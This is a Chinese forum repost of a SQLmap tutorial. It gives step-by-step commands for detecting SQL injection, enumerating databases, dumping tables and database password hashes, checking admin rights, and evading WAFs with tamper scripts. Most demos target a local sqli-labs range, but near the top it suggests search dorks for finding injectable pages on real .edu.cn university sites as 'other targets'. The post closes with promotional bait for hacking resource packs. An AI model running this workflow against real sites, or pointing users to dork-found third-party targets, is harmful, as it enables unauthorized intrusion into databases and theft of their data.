[工具使用] SQLmap使用教程(2025版),零基础入门到精通,看这一篇就够了!

90 0
Honkers 昨天 13:39 来自手机 | 显示全部楼层 |阅读模式

SQLmap

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

  1. inurl:news.asp?id=site:edu.cn
  2. inurl:news.php?id= site:edu.cn
  3. inurl:news.aspx?id=site:edu.cn
复制代码

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

  1. sqlmap -u 'http://xx/?id=1'
复制代码

2、查看所有「数据库」

  1. sqlmap -u 'http://xx/?id=1' --dbs
复制代码

3、查看当前使用的数据库

  1. sqlmap -u 'http://xx/?id=1' --current-db
复制代码

4、查看「数据表」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --tables
复制代码

5、查看「字段」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
复制代码

6、查看「数据」

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
复制代码

一、目标

检测「注入点」前,需要指定需要检测的「对象」。

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'
复制代码

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url。

  1. sqlmap -m urls.txt
复制代码

逐个扫描url,需要确认就按y。

扫描完一个,就会提示存在的注入点。

然后再按y扫描下一个url。

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
复制代码
4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

  1. sqlmap -r bp.txt
复制代码
5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

  1. sqlmap -u "http://xx?id=x" --cookie 'cookie'
复制代码

二、脱库

获取所有内容

  1. sqlmap -u 'http://xx/?id=1' -a
复制代码

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

  1. sqlmap -u 'http://xx/?id=1' -b
复制代码

最后面显示数据库的版本,这里检测的版本是 5.7.26。

1.2、获取当前使用的数据库

  1. sqlmap -u 'http://xx/?id=1' --current-db
复制代码

在最后面显示当前使用的数据库的名字是 security。

1.3、获取所有数据库

  1. sqlmap -u 'http://xx/?id=1' --dbs
复制代码

最后面显示所有数据库的名字。

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --tables
复制代码

最后面显示数据库(security)里所有的表名。

2.2、同时获取多个库的表名,库名用逗号分隔。

  1. sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
复制代码

2.3、不指定数据库,默认获取数据库中所有的表。

  1. sqlmap -u 'http://xx/?id=1' --tables
复制代码


最后面显示每个数据库下都有哪些表。

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
复制代码

最后面显示表(users)中的所有字段。

3.2、不指定表名,默认获取当前数据库中所有表的字段。

  1. sqlmap -u 'http://xx/?id=1' --columns
复制代码

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --schema
复制代码

最后面显示每个表的字段类型。

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
复制代码


获取指定库中所有表的数据。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --dump
复制代码

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

  1. sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
复制代码

6、获取用户

6.1、获取当前登录数据库的用户

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
复制代码

最后面显示当前登录数据库的用户是 root@localhost。

6.2、获取所有用户

--users 获取数据库的所有用户名。

  1. sqlmap -u 'http://xx/?id=1' --users
复制代码

最后面显示数据库的所有用户名。

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

最后面显示数据库用户名对应的密码(哈希值)。

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

  1. sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges
复制代码

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

  1. sqlmap -u 'http://xx/?id=1' --is-dba
复制代码

如果是管理员,就在最后面显示 true。

7、获取主机名

--hostname 获取服务器主机名。

  1. sqlmap -u 'http://xx/?id=1' --hostname
复制代码

最后面显示服务器的主机名是 DESKTOP。

8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

  1. sqlmap -u 'http://xx/?id=1' -D 'security' --search
复制代码

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

也可以搜索表

  1. sqlmap -u 'http://xxx/?id=1' -T 'users' --search
复制代码

或者搜索字段

  1. sqlmap -u 'http://xx/?id=1' -C 'username' --search
复制代码
9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

  1. sqlmap -u 'http://xx/?id=1' --statements
复制代码

最后面显示正在执行的SQL语句。

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

  1. sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'
复制代码

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

本文转自网络如有侵权,请联系删除。

题外话

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习路线&学习资源

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

需要高清完整学习路线图,和全套网络安全技术教程的小伙伴!
↓↓↓ 扫描下方图片即可前往获取↓↓↓

学习资料电子文档

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

网络安全源码合集+工具包

​​​​​​

视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,,每个章节都是当前板块的精华浓缩。(全套教程点击领取哈)

​ CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​ 因篇幅有限,仅展示部分资料,需要扫描下方图片即可前往获取

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行